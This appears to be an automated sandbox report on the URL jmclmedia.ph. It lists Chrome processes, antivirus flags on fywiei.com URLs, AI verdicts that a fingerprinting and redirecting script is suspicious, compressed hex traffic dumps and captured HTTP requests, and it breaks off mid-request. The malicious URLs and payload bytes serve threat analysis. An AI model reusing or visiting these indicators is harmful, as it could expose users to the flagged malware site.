Edit tour

Windows Analysis Report
http://www.jmclmedia.ph

Overview

General Information

Sample URL:	http://www.jmclmedia.ph
Analysis ID:	1587286

Detection

Score:	52
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

AI detected suspicious Javascript

Stores files to the Windows start menu directory

Classification

Process Tree

System is w10x64_ra

chrome.exe (PID: 4040 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6836 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2204 --field-trial-handle=1980,i,10126711640347343481,8133098457316129034,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6456 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "http://www.jmclmedia.ph" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: http://fywiei.com/f2.php?e=4rxEBgcHWfhj1zSNx8uF1H49fkQ4SE0wZllzMWR1b0NNd0NHTk04MURwQlg4dm5HY2xWRXc5eHBvOW5CMDQzQUlHdDFybEpyS21SWUhUT0FjZ1JuZ3BpazdzV0JEdWxNQjlXZ1hzUkdLWHpVK1R2YVF3SjBzSngzR0pjTW1KdnhydkZkN0dmakRITlFQUGJjald4bk9mOXEzbHFzUFg2ZlVNMmJsV1F1VWFmQzZaNURQOHIyTWxOeG04TTNhQUVoLzdBclVqSEsvMlNlb3Z6b28zUG9STDNDbi82WUJIeWJ2eHhiSDY0Tml4eHRHRXR5aG13Vks3bk5ocTJpZnhhMWlvODFRQWhZQjlYRlFDUVBqdmlHVlZ1VjduYmxCSnZVeEs0My92NFBzYTZUNjZiMDBka1ZBQVZuSVk1MWowTnZ4NjBYak1ISUlJdUpoRkJsOU9DM0pFbWxzUi95T3pHQldnc2dWb0ZpNGR5dXhpVC94aVFBM2Q2UDNpWW8zQ0Uwc01wK01LN2JiZVBrQVROakJIWXl2bzQxZlRkSWpUZVRNcDZnVUdDTS9DelM0VXM3bDBmTm80MFdyc0VpMXErL1dwdCtoU2dZUm9MZmtyNjBXVzZpWGlOTm9nNW81MjlvNWFMUmdaOUNocmlyV1JCWTVkL2FMQ2Z1dlJQN1FZPQ%3D%3D&vs=1280:907&ds=1280:1024&sl=0:0&os=f&nos=f	Avira URL Cloud: Label: malware
Source: http://fywiei.com/js/fingerprint/iife.min.js	Avira URL Cloud: Label: malware
Source: http://fywiei.com/favicon.ico	Avira URL Cloud: Label: malware

Phishing

AI detected suspicious Javascript

Source: 0.0.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: http://fywiei.com/f.php?e=44k7tWaUp5q6rFpoE47q7349... This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and redirects to a suspicious domain. The use of obfuscated URLs and the fallback redirect mechanism further increase the risk. While the script may have a legitimate purpose, such as fingerprinting, the overall behavior is highly suspicious and indicative of potential malicious intent.
Source: 0.2.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: http://fywiei.com/f.php?e=44k7tWaUp5q6rFpoE47q7349... This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and redirection to a suspicious domain. The script collects sensitive information about the user's device and screen dimensions, and then redirects the user to an obfuscated URL. This behavior is highly suspicious and indicates a potential phishing or malware attack.

Source: http://fywiei.com/f.php?e=44k7tWaUp5q6rFpoE47q7349fnBNa3hDWkFhRGRaK0JZR2FJM2J2RnZ5L0luTkFZRk5nRXF3bHV5SnY3MFo4VmxjUTg1cGpRWHFLSERmYkRodDBZZlpmOWZlMEc2US9wYy9JU1haTUVYYkhqbFB3Zkw5V0pIa0RXdnRmT1pvRHhsSVlneXdhRDVPWE9saE9WRm1HR1NWdElHaUUwN0lNanYrVHVlaTUxNXNxMzlNU1NUdW40RUFlQzBGbE94WFpMSXAvN1Q5Zlp0L2RHZWVXdjU3bWNzeHZsYTZYSkd4MEJJZFBSSWVGSnYwdGRUazdoTjJTcEFBeWZVMCt1ZTlSS003UHlCVFcrL01WdmRsOUtQNmZ1dWJCUHByRndxaU11ZEc4bHNRdVR3a2h5UmQ2YkQ2WjlpTXhBdXpXM3FCSzFRS2Z5SzlzWEs0RVRQakFvbldWNDdiR25hN1dBUFFUdUY2eVRQaHI5ZkU1a3F1ZGQ2OWM5bU5WYjd2dU1tZXhEMHd3VkQ3enQ4NjNOV0hkVkJ1dHpFemRRdFdDVlVhOEtQb1VuSDZ6Y1dWekxySTBmQW5iUG9kcG9BekNpWE91dWdzR3haYzhqSjc1THFLVWVINUg%3D

HTTP Parser: No favicon

Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.16:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.16:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.16:49752 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.16:49817 version: TLS 1.2

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKdate: Fri, 10 Jan 2025 03:06:47 GMTserver: Apachevary: Accept-Encodingcontent-encoding: gzipcontent-length: 1137content-type: text/html; charset=UTF-8connection: closeData Raw: 1f 8b 08 00 00 00 00 00 00 03 ed 56 5d 73 a3 36 14 7d 4e 66 f2 1f 34 de 69 ed cc b6 36 1f 66 33 4e 4c 3a 75 0c 26 6e 4c d6 c2 80 e1 a5 23 23 61 30 e2 23 20 7f ee e4 bf 57 d8 ce 6e b7 7d 68 1f f7 21 bc 00 ba e7 4a f7 48 e7 9e 51 3f 62 29 bd bf ba ec 47 04 e1 fa cd 62 46 c9 fd 2a 0d 68 4a 70 8c da 45 d4 ef 9c c6 78 b0 0a ca b8 60 80 ed 0b a2 36 18 d9 b1 ce 0a 6d d0 69 b4 01 aa 32 50 1b 9d 55 d5 09 e3 6c 49 ca a2 8c 33 d6 89 e3 90 b4 d3 38 6b af aa c6 7d bf 73 c2 fe e7 5c 1c b0 41 25 28 79 09 25 09 d8 9f 34 ce 12 a0 82 66 c4 58 71 db e9 84 fb 6d 4c e2 76 90 a7 9d 90 57 58 fc 46 d4 6e 37 b9 61 2e b2 0b e5 e5 53 a9 17 b9 d6 bd 79 b9 91 bb bd 30 1b 98 48 8e 86 6e a2 47 70 04 d1 1f c2 d8 87 92 3e 9e 48 63 09 66 be f2 24 d0 f5 2c d1 7d 98 28 19 9c eb f2 c2 70 14 2b f3 e4 89 9e 77 9d 74 b7 b2 67 4b 31 18 15 d0 35 f4 27 4b 83 a9 97 c0 1c 0f 07 be 4f 8b f4 d9 f5 e9 44 0b 24 db ea 6d bd 7d 6f 6c 8b 11 9a d9 8e e7 25 d1 cb 42 1f c8 7e b2 55 1c a1 78 44 02 9c e3 0c a6 33 b1 d8 40 23 aa 2c 87 66 64 8e 23 38 74 3e bb 5a af 42 5a cf 85 a9 68 40 d1 74 b1 46 0d 64 db 5b 53 a0 26 ca bc d2 31 1c ca 27 dd 99 73 73 37 39 50 d3 16 4d 1b bb 5d 01 da 3a 9d 1e 06 a3 85 d6 eb ba 7a 31 b1 e6 bf 6f 4c 71 aa f0 ba 84 27 09 1a be eb cc f1 ca 96 17 ae 79 20 86 5f 79 33 df b3 12 dc 9d 68 e3 b1 af 0f 2c cb 75 46 9c e7 16 8f a0 8d 0e 38 9f ad c6 b3 40 d3 07 c4 f5 9d c9 03 13 fd 19 b5 2c 41 90 6d 83 3e 38 7a 50 3e 09 a2 8b 53 58 3d db 6c 6a a6 be 88 dd f1 83 6d 0c f6 30 c3 3b 64 8b a2 af 05 dd 85 61 42 ec 40 19 49 91 62 a7 53 c9 4b a6 92 bb a2 c5 6c 1e 0d f0 bc 98 4f 64 fd c1 3a e8 d0 92 7c c5 3a d0 83 ab 55 02 74 e0 14 25 fa 66 41 b1 6b 0e 71 0c 25 25 32 45 3c b0 75 dd c6 b6 27 91 3a 6e 3c 2a 7e 62 8b 48 d6 45 7f 34 95 9e dd 89 b2 b0 15 d7 5b 61 09 db 22 f3 e7 91 36 31 b0 ec 24 53 99 64 d3 ae b9 32 9f 1d 21 4a 9c 64 2c 62 a3 d0 49 0a 21 d6 f1 d0 a1 4e f4 ac b1 e9 42 74 d6 d6 d0 ff e4 71 16 24 d9 ed ad d9 20 9d ba 4a 6c 8f 7a 49 30 ea 0d 48 62 16 fc 5c 78 14 1f a0 1c 21 ef 10 bd 58 ab 40 9c 71 0d 38 ae f3 68 da cb 9f e4 e1 cf cd bb ab cb ab cb 4e 07 58 84 01 04 58 9c 92 7c cd 40 1e 02 59 10 40 1a 53 1a 57 24 c8 33 5c 01 96 03 b2 23 c1 9a 11 0e 7c 53 35 88 43 c0 22 02 fe d6 2e a0 28 f3 94 67 81 10 c5 b4 02 61 5e 82 2a 4f 09 4f 41 55 9e 5d 5d 86 eb 2c 60 71 9e f1 38 a5 0b 14 24 f0 3c 57 eb 1a 7c b9 ba bc d8 c6 19 ce b7 6d 9a 07 a8 86 b5 4b 52 50 14 90 d6 77 8d f4 b1 19 16 ea af 37 cd 6b 5e ff 6b 4d 81 95 fb 63 36 af b5 62 a0 c4 e5 ec 4c 45 05 15 61 e7 9f d6 3f 97 fc a5 a6 59 cf 71 51 b7 6a 58 7c 3e 97 ae 02 fd 1b a1 b1 c5 8b 41 b8 f5 25 cd b3 98 e5 7c 68 79 5b 17 5f 91 d7 63 ea d7 34 fe 7d d1 e6 bb 91 b5 c2 02 a8 f7 7c be f6 92 70 5a d7 df 02 f5 d7 45 49 aa 35 65 35 e2 0b 38 0e 9c 57 2f eb 6a 6b 62 cd 8f 27 48 7b 13 57 f5 8a 8f f8 ee 84 0b 28 41 6f cc 5a df 48 5e 9f c3 ff 6f eb ea
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKdate: Fri, 10 Jan 2025 03:06:48 GMTserver: Apachelast-modified: Tue, 22 Oct 2024 03:25:41 GMTetag: "85c0-6250852e57740-gzip"accept-ranges: bytesvary: Accept-Encodingcontent-encoding: gzipcontent-length: 14345content-type: application/javascriptconnection: closeData Raw: 1f 8b 08 00 00 00 00 00 00 03 cd 7d 5b 57 e3 c8 96 e6 7b af d5 ff c1 28 ab b3 a4 44 36 92 2f 24 98 54 b1 80 e4 96 05 24 09 24 90 76 f9 70 64 29 b0 95 e8 e2 d2 c5 60 12 cf 5f 98 df d0 f3 3a 0f 33 8f fd 34 0f a7 57 ff af f9 76 84 6e 36 86 aa 3a 6b 1e e6 9c 2c 2c 45 ec 88 d8 11 b1 63 df 22 62 6b e5 dd bb 7f fd 97 ca bb ca 9e e3 0f 58 38 0a 1d 3f fe 74 5e 19 37 6a cd 9a 56 a9 56 76 82 d1 24 74 06 c3 b8 22 5b ca 2c 90 5a 39 f4 2d b5 52 d7 ea 8d 8a 3c 8c e3 51 d4 5e 59 b9 2d 20 6a 56 e0 29 bc ee 23 c7 62 7e c4 ec 4a e2 db 2c ac c4 43 56 39 3e bc 10 85 50 e6 fe fe be 16 8c 00 11 24 a1 c5 6a 41 38 58 71 45 89 68 c5 73 e2 6a fa 52 1b 0d 47 4a 25 7b a1 8a 79 e5 17 43 27 aa 44 c1 6d 7c 6f 86 ac 62 05 7e 6c 3a 7e 84 07 9b 55 6e c3 c0 ab 50 d5 55 51 77 65 14 06 df 99 15 47 6d 5e f4 38 09 bd 24 3c 30 a3 61 a3 d2 9f 54 7e 35 43 d3 af 1c 4d 02 14 cf 3b 34 70 e2 61 d2 a7 be ac dc 51 be 4b d9 2b 5e 51 b2 f6 3d e2 bd 5c f9 d7 7f 19 9b e1 ec 10 19 b7 89 6f c5 4e e0 cb 4c f9 21 25 11 ab 44 71 e8 58 b1 b4 41 a0 7e 91 ad fc 08 59 9c 84 3e d2 3e f7 09 c3 9a 19 45 ce c0 7f 7a 2a d7 70 1b 84 32 2f a8 c6 86 ae 86 86 19 0e 12 8f f9 71 54 73 99 3f 88 87 1b f1 87 70 23 5e 5e 56 32 c0 a0 e2 50 95 39 5c 37 ee 29 69 fd 18 89 38 88 27 23 56 1b 9a d1 e7 7b ff 34 c4 38 85 f1 a4 66 99 ae 2b fb 6a a0 bc 7d 2b b3 6e d0 33 7c fc 51 36 52 fc d8 54 f5 6b e6 68 e4 4e e4 18 03 af e6 55 2b d3 8d 0c d5 4a 2c 33 15 38 aa 61 d1 2d 76 2f c7 4f 4f 72 6c a0 1d cf 89 98 a2 c8 72 de b5 40 35 d1 b9 ac b4 43 5d 8d c3 c9 8f 44 0e 6b 3e 7b 40 6d 8a 32 b5 cc d8 1a ca be f2 c3 c4 9f e9 34 87 b6 ca d0 f1 30 0c ee 5f 05 4f 08 9c 8f e1 06 ab d9 81 cf 36 03 99 d5 c6 a6 9b 30 a5 2d fb 46 fa ac 02 0d 3f 8a 4d df 62 c1 6d 25 de f4 db e8 01 fa 25 97 a7 83 51 d5 8a a2 a0 59 e6 cb 8e 6a 29 d3 44 96 43 23 4c 07 08 b5 3c 3d 75 7b 00 e0 bd 50 08 b8 c0 24 a4 7c 81 0b 46 4a c5 18 a8 8e f1 c3 35 fb cc 6d 6b 6a 84 31 6d 97 c8 c3 b9 95 f5 b7 41 57 eb 29 bc 8f 95 a0 ab f7 b2 39 a1 e7 a9 8a 31 88 da dd 9e 1a 8c e8 67 9a 65 9a c6 0f 6a bd 6d c9 9a a2 f2 b2 78 d4 15 55 64 e3 b9 ae 4c 55 29 6b 49 32 0c a2 09 f4 f9 7c e2 f5 03 17 34 60 76 c5 63 cd 89 59 68 c6 41 d8 5b 40 b6 44 0b 53 45 35 37 4a f3 62 e5 b9 39 7c f2 3c c9 e2 7d 8b d3 6e d1 28 5f 00 81 dd 30 04 09 4b fb cc 17 6d 56 b0 c6 4d 37 64 a6 3d a9 b0 07 66 25 31 96 59 4d 52 36 88 d2 37 4c 42 d3 d0 54 0b e3 83 47 c7 d0 14 45 75 36 14 22 0b aa 9c 16 0b d2 03 a3 fe 96 40 36 c3 5a d6 7b f1 c6 db 06 75 02 22 cb 02 f5 07 62 29 84 8a aa 29 6d 41 89 48 5d 02 50 96 83 06 75 9a 5e a2 23 25 9b 8c 8d e8 de 21 da 0b 81 50 80 56 2d a3 2b 9a 55 03 41 5b 3d 85 23 aa fc b0 4c 30 04 ad cd 7f f4 76 60 58 1b 7d f4 f0 6e 83 27 34 db 69 85 4e 8d d3 c4 f2 b2 fa 83 17 6f 53 a3 2a 35 d9 5e d2 a
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKdate: Fri, 10 Jan 2025 03:06:49 GMTserver: Apachelast-modified: Tue, 22 Oct 2024 03:25:41 GMTetag: "85c0-6250852e57740-gzip"accept-ranges: bytesvary: Accept-Encodingcontent-encoding: gzipcontent-length: 14345content-type: application/javascriptconnection: closeData Raw: 1f 8b 08 00 00 00 00 00 00 03 cd 7d 5b 57 e3 c8 96 e6 7b af d5 ff c1 28 ab b3 a4 44 36 92 2f 24 98 54 b1 80 e4 96 05 24 09 24 90 76 f9 70 64 29 b0 95 e8 e2 d2 c5 60 12 cf 5f 98 df d0 f3 3a 0f 33 8f fd 34 0f a7 57 ff af f9 76 84 6e 36 86 aa 3a 6b 1e e6 9c 2c 2c 45 ec 88 d8 11 b1 63 df 22 62 6b e5 dd bb 7f fd 97 ca bb ca 9e e3 0f 58 38 0a 1d 3f fe 74 5e 19 37 6a cd 9a 56 a9 56 76 82 d1 24 74 06 c3 b8 22 5b ca 2c 90 5a 39 f4 2d b5 52 d7 ea 8d 8a 3c 8c e3 51 d4 5e 59 b9 2d 20 6a 56 e0 29 bc ee 23 c7 62 7e c4 ec 4a e2 db 2c ac c4 43 56 39 3e bc 10 85 50 e6 fe fe be 16 8c 00 11 24 a1 c5 6a 41 38 58 71 45 89 68 c5 73 e2 6a fa 52 1b 0d 47 4a 25 7b a1 8a 79 e5 17 43 27 aa 44 c1 6d 7c 6f 86 ac 62 05 7e 6c 3a 7e 84 07 9b 55 6e c3 c0 ab 50 d5 55 51 77 65 14 06 df 99 15 47 6d 5e f4 38 09 bd 24 3c 30 a3 61 a3 d2 9f 54 7e 35 43 d3 af 1c 4d 02 14 cf 3b 34 70 e2 61 d2 a7 be ac dc 51 be 4b d9 2b 5e 51 b2 f6 3d e2 bd 5c f9 d7 7f 19 9b e1 ec 10 19 b7 89 6f c5 4e e0 cb 4c f9 21 25 11 ab 44 71 e8 58 b1 b4 41 a0 7e 91 ad fc 08 59 9c 84 3e d2 3e f7 09 c3 9a 19 45 ce c0 7f 7a 2a d7 70 1b 84 32 2f a8 c6 86 ae 86 86 19 0e 12 8f f9 71 54 73 99 3f 88 87 1b f1 87 70 23 5e 5e 56 32 c0 a0 e2 50 95 39 5c 37 ee 29 69 fd 18 89 38 88 27 23 56 1b 9a d1 e7 7b ff 34 c4 38 85 f1 a4 66 99 ae 2b fb 6a a0 bc 7d 2b b3 6e d0 33 7c fc 51 36 52 fc d8 54 f5 6b e6 68 e4 4e e4 18 03 af e6 55 2b d3 8d 0c d5 4a 2c 33 15 38 aa 61 d1 2d 76 2f c7 4f 4f 72 6c a0 1d cf 89 98 a2 c8 72 de b5 40 35 d1 b9 ac b4 43 5d 8d c3 c9 8f 44 0e 6b 3e 7b 40 6d 8a 32 b5 cc d8 1a ca be f2 c3 c4 9f e9 34 87 b6 ca d0 f1 30 0c ee 5f 05 4f 08 9c 8f e1 06 ab d9 81 cf 36 03 99 d5 c6 a6 9b 30 a5 2d fb 46 fa ac 02 0d 3f 8a 4d df 62 c1 6d 25 de f4 db e8 01 fa 25 97 a7 83 51 d5 8a a2 a0 59 e6 cb 8e 6a 29 d3 44 96 43 23 4c 07 08 b5 3c 3d 75 7b 00 e0 bd 50 08 b8 c0 24 a4 7c 81 0b 46 4a c5 18 a8 8e f1 c3 35 fb cc 6d 6b 6a 84 31 6d 97 c8 c3 b9 95 f5 b7 41 57 eb 29 bc 8f 95 a0 ab f7 b2 39 a1 e7 a9 8a 31 88 da dd 9e 1a 8c e8 67 9a 65 9a c6 0f 6a bd 6d c9 9a a2 f2 b2 78 d4 15 55 64 e3 b9 ae 4c 55 29 6b 49 32 0c a2 09 f4 f9 7c e2 f5 03 17 34 60 76 c5 63 cd 89 59 68 c6 41 d8 5b 40 b6 44 0b 53 45 35 37 4a f3 62 e5 b9 39 7c f2 3c c9 e2 7d 8b d3 6e d1 28 5f 00 81 dd 30 04 09 4b fb cc 17 6d 56 b0 c6 4d 37 64 a6 3d a9 b0 07 66 25 31 96 59 4d 52 36 88 d2 37 4c 42 d3 d0 54 0b e3 83 47 c7 d0 14 45 75 36 14 22 0b aa 9c 16 0b d2 03 a3 fe 96 40 36 c3 5a d6 7b f1 c6 db 06 75 02 22 cb 02 f5 07 62 29 84 8a aa 29 6d 41 89 48 5d 02 50 96 83 06 75 9a 5e a2 23 25 9b 8c 8d e8 de 21 da 0b 81 50 80 56 2d a3 2b 9a 55 03 41 5b 3d 85 23 aa fc b0 4c 30 04 ad cd 7f f4 76 60 58 1b 7d f4 f0 6e 83 27 34 db 69 85 4e 8d d3 c4 f2 b2 fa 83 17 6f 53 a3 2a 35 d9 5e d2 a
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKdate: Fri, 10 Jan 2025 03:06:49 GMTserver: Apachevary: Accept-Encodingcontent-encoding: gzipcontent-length: 929content-type: text/html; charset=UTF-8connection: closeData Raw: 1f 8b 08 00 00 00 00 00 00 03 95 95 6b 6f a3 38 14 86 bf 8f d4 ff 80 ba da 6d bb d1 26 98 24 ab 64 a6 e9 4a 94 10 4a 8b b3 5c 6c 27 fe b2 02 4c c2 c5 5c 26 d0 24 30 33 ff 7d 93 d2 91 da 26 1f 76 2d 24 c4 6b 3f 87 f7 e0 e3 c3 6d 58 a5 fc ee e2 d3 6d 18 b8 ec 78 af a2 8a 07 77 71 ea f3 34 60 91 db 2d c2 db 5e ab 1d 26 4b 7f 13 15 95 50 d5 45 30 b9 ac 82 7d d5 8b dd ad db aa 97 87 05 5b 77 23 6c 0e d8 26 f0 ab 7f 78 94 25 c2 44 b8 0a ab aa f8 dc eb ad ea 5d 14 44 5d 3f 4f 7b 2b e9 10 b6 f8 2b 98 0c 36 fb a9 bc f6 35 b2 0a 63 d0 d8 70 3f 7a 56 81 36 18 af 12 73 60 4f c5 1d e5 bc 31 88 05 3c 11 42 26 42 cd 49 c4 81 81 ac 9d c9 d7 03 96 0e b5 a5 b4 27 d6 c2 1f 06 9a bc 9d 93 e1 bd a1 98 8d 89 b8 c6 14 b5 f6 a6 45 6d 4b c0 26 28 44 8e a8 c6 14 e8 cf b4 2f 17 6e c3 1a 2c ea 53 46 f6 d0 8c f9 82 82 b0 41 09 7b 22 5a 81 1f 81 25 2d b1 da b7 63 b9 b1 b3 75 63 89 45 ec 10 f0 c8 b2 b0 66 09 4d a0 c8 52 37 b1 1e 1c ae 9a 68 a6 c7 2e 67 03 2f 19 a7 f3 c5 b4 f1 34 b5 41 ea 5a a2 1c 43 23 d5 4b 0c 54 80 89 9a 9a 0d 75 21 b2 cc b9 f6 50 3b 64 3f 0f 66 e2 c0 71 60 68 22 9c 3f 35 4c f6 39 fe 6a 4f cb ad c1 21 f7 fa f4 4f 4f 1a 35 68 36 b6 1d 05 2a 5e 34 92 08 d2 1f 02 a2 4b 81 16 46 b6 b2 14 9d 94 0f 02 cd d2 ac 85 35 74 67 a0 8f 93 b2 ef 25 c3 dc 77 f4 82 66 61 68 10 be 9d 2b aa 65 92 90 1e f2 5b 5a 5c 55 10 96 bf b2 94 6b 98 53 80 63 f6 bc 4c f7 f7 76 46 71 30 2d 45 a3 1e 4b 50 95 9b a5 43 11 8c 69 64 28 72 e2 02 2a 9b 98 3e db 38 01 06 c9 77 4e 46 07 30 96 97 6e 02 1e 6c c4 75 86 8a dc 4a f4 72 8e c6 8a 21 16 aa 47 f6 0d 8a c6 43 a7 5f 68 26 67 99 2f 31 e2 89 b4 80 33 6b c8 16 61 81 ef c7 03 17 ab b2 21 99 12 52 60 41 c8 a8 31 45 b4 f3 45 b0 7b 14 c1 13 94 f4 88 62 79 63 62 6b ee 26 fa 03 59 70 c9 6b cc 3d e5 56 62 93 02 51 6c 41 5f a1 19 46 4c 71 ec b1 12 70 43 c4 0b a3 ef 29 72 ea a4 23 d1 50 59 ed 8b b8 30 16 d3 cd 13 60 3b 76 5f e5 48 62 14 a5 63 83 a6 55 7d f0 be c0 0d 2d c8 8c cf 9d 74 9c 41 32 02 46 cc b7 90 a8 06 4a 99 3b 47 30 f7 53 5e 63 a0 df 13 07 27 4f 92 6a 98 12 05 8c eb 26 04 2a fd db fc b5 af 1c ae ab 2f 6d 8d 6f cb 63 61 ff b6 2d 27 57 9d 5d 94 b1 7c d7 8d b2 2c d8 90 88 55 a1 d0 11 ae 3e bf d7 b5 20 5a 87 d5 2b cc 5a 98 bd 81 0f 27 28 08 b2 ee ee 14 7f 9d 09 df 06 28 f9 4b 80 92 7f 0c b0 38 c7 2e 5f a9 bc 7d 6d 5e 4e 56 c7 34 2e 3e 45 ab eb 0f f4 dd 44 38 63 e8 46 f8 f6 06 ae ae be 08 3f 4e e1 e5 29 dc 7a 3e 4b 1f fd 64 af 6a f6 d3 d1 7f f5 f3 c7 f5 19 f1 77 b1 0b 6e 84 ef df 85 93 0f 72 ba 3f b7 27 52 4b 7f 7b e7 e9 ff 26 fa d1 56 ab 9e f7 b5 fc e0 ab ad 8f f7 c6 b4 37 fc 59 67 17 9f 5e 97 f3 dc 77 ab 28 cf ba 9b a0 e0 ae 1f 5c bf 6b c1 9d 6d d9 61 65 a7 e4 9d bc ec 1c f0 9b 97 cd bf ed b5 5d fb d8 d5 7b 3f 7b bf 97 b3 5a f0 d6 7e ce f3 cd e4 f2 97 d5 cb b8 14 8e 8d fe f0 28 be 8c cb 17 e2 b8 b2 45 db df c7 bf 9b 02 b3 b2 47 06 00 00 Data

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: www.jmclmedia.phConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /f.php?e=44k7tWaUp5q6rFpoE47q7349fnBNa3hDWkFhRGRaK0JZR2FJM2J2RnZ5L0luTkFZRk5nRXF3bHV5SnY3MFo4VmxjUTg1cGpRWHFLSERmYkRodDBZZlpmOWZlMEc2US9wYy9JU1haTUVYYkhqbFB3Zkw5V0pIa0RXdnRmT1pvRHhsSVlneXdhRDVPWE9saE9WRm1HR1NWdElHaUUwN0lNanYrVHVlaTUxNXNxMzlNU1NUdW40RUFlQzBGbE94WFpMSXAvN1Q5Zlp0L2RHZWVXdjU3bWNzeHZsYTZYSkd4MEJJZFBSSWVGSnYwdGRUazdoTjJTcEFBeWZVMCt1ZTlSS003UHlCVFcrL01WdmRsOUtQNmZ1dWJCUHByRndxaU11ZEc4bHNRdVR3a2h5UmQ2YkQ2WjlpTXhBdXpXM3FCSzFRS2Z5SzlzWEs0RVRQakFvbldWNDdiR25hN1dBUFFUdUY2eVRQaHI5ZkU1a3F1ZGQ2OWM5bU5WYjd2dU1tZXhEMHd3VkQ3enQ4NjNOV0hkVkJ1dHpFemRRdFdDVlVhOEtQb1VuSDZ6Y1dWekxySTBmQW5iUG9kcG9BekNpWE91dWdzR3haYzhqSjc1THFLVWVINUg%3D HTTP/1.1Host: fywiei.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: 